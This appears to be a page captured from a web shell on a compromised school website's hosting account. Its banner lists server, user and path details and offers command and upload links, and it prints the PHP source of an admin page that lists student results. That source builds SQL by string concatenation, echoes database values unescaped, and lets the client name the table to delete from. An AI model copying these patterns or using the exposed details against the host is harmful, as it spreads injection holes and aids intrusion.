|
1Server IP : 2a02:4780:11:1776:0:2637:29db:10 / Your IP : 216.73.217.74 Web Server : LiteSpeed System : Linux in-mum-web1676.main-hosting.eu 5.14.0-503.38.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 18 08:52:10 EDT 2025 x86_64 User : u641149403 ( 641149403) PHP Version : 7.4.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u641149403/domains/emrskalsi.com/public_html/admin/img/blog-details/../../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php include('include/sidebar.php'); ?>
<!-- Start Welcome area -->
<style>
.table > thead > tr > th, .table > tbody > tr > th, .table > tfoot > tr > th, .table > thead > tr > td, .table > tbody > tr > td, .table > tfoot > tr > td {
vertical-align: middle!important;
text-align: center;
}
table.dataTable thead>tr>th.sorting, table.dataTable thead>tr>th.sorting_asc, table.dataTable thead>tr>th.sorting_desc, table.dataTable thead>tr>th.sorting_asc_disabled, table.dataTable thead>tr>th.sorting_desc_disabled, table.dataTable thead>tr>td.sorting, table.dataTable thead>tr>td.sorting_asc, table.dataTable thead>tr>td.sorting_desc, table.dataTable thead>tr>td.sorting_asc_disabled, table.dataTable thead>tr>td.sorting_desc_disabled{
padding: 20px 5px!important;
}
</style>
<?php include('include/header.php'); ?>
<div class="breadcome-area">
<div class="container-fluid">
<div class="row">
<div class="col-lg-12 col-md-12 col-sm-12 col-xs-12">
<div class="breadcome-list">
<div class="row">
<div class="col-lg-6 col-md-6 col-sm-6 col-xs-6">
<div class="breadcomb-wp">
<div class="breadcomb-icon">
<i class="icon nalika-home"></i>
</div>
<div class="breadcomb-ctn">
<h2>Results </h2>
</div>
</div>
</div>
<div class="col-lg-6 col-md-6 col-sm-6 col-xs-6">
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="product-status mg-b-30">
<div class="container-fluid">
<div class="row">
<div class="col-lg-12 col-md-12 col-sm-12 col-xs-12">
<div class="product-status-wrap">
<h4>Result List</h4>
<div class="add-product">
<a href="add-result">Add</a>
</div>
<div class="table-responsive">
<table id="example" class="table table-hover table-striped">
<thead>
<tr class="text-white">
<th>Roll No.</th>
<th>S.NO</th>
<th>Student Name</th>
<th>Class</th>
<th>Grand Total </th>
<!-- <th>Percentage</th>
<th>Result</th>
<th>Rank</th> -->
<th>Action</th>
</tr>
</thead>
<tbody>
<?php
$q = "SELECT results.*,students.student_name FROM results LEFT JOIN students ON students.id=results.student_id";
$query = mysqli_query($conn,$q);
$i=1;
$x=1;
while($res = mysqli_fetch_array($query)) {
$status=$res['status']; ?>
<tr>
<td><?php echo $res['student_id'] ?></td>
<td><?php echo $i++; ?></td>
<td><?php echo $res['student_name'] ?></td>
<td><?php echo $res['class'] ?></td>
<?php $qry = "SELECT * FROM result_list WHERE result_id='".$res['id']."' ORDER BY total desc";
$sql = mysqli_query($conn,$qry);
$total=0;
while($row = mysqli_fetch_array($sql)) {
$total+=$row['pa1']+$row['pa2']+$row['theory1']+$row['theory2']+$row['practicle1']+$row['practicle2'];
$percentage = ($total/900) * 100;
}
?>
<td><?php echo $total ?></td>
<!-- <td><?php echo round($percentage,2); ?></td>
<th><?php if ($percentage>=33) {
echo 'Pass';}else{ echo 'Fail';} ?></th>
<td><?php echo $x++; ?></td> -->
<td>
<?php if($status==0){ ?>
<button data-toggle="tooltip" title="View" class="pd-setting-ed"><a style="color: #fff;" href="edit_result?id=<?php echo $res['id'] ?>"><i class="fa fa-edit" aria-hidden="true"></i></a></button>
<?php }elseif($status==2){ ?>
<button data-toggle="tooltip" title="View" class="pd-setting-ed"><a style="color: #fff;" href="edit_results?id=<?php echo $res['id'] ?>"><i class="fa fa-edit" aria-hidden="true"></i></a></button>
<?php }else{ ?>
<button data-toggle="tooltip" title="View" class="pd-setting-ed"><a style="color: #fff;" href="edit-result?id=<?php echo $res['id'] ?>"><i class="fa fa-edit" aria-hidden="true"></i></a></button>
<?php } ?>
<button onclick="del('<?php echo $res['id'] ?>')" data-toggle="tooltip" title="Trash" class="pd-setting-ed"><i class="fa fa-trash-o" aria-hidden="true"></i></button>
</td>
</tr>
<?php } ?>
</tbody>
</table>
</div>
</div>
</div>
</div>
</div>
</div>
<script>
function del(e) {
var verify = confirm("Do you really want to delete!!!");
if(verify) {
$.ajax({
url: "delete.php",
type: "POST",
data: {
resultid: e,table_name:'results',
},
success: function(response){
location.reload();
},
})
}
}
</script>
<?php include('include/footer.php'); ?>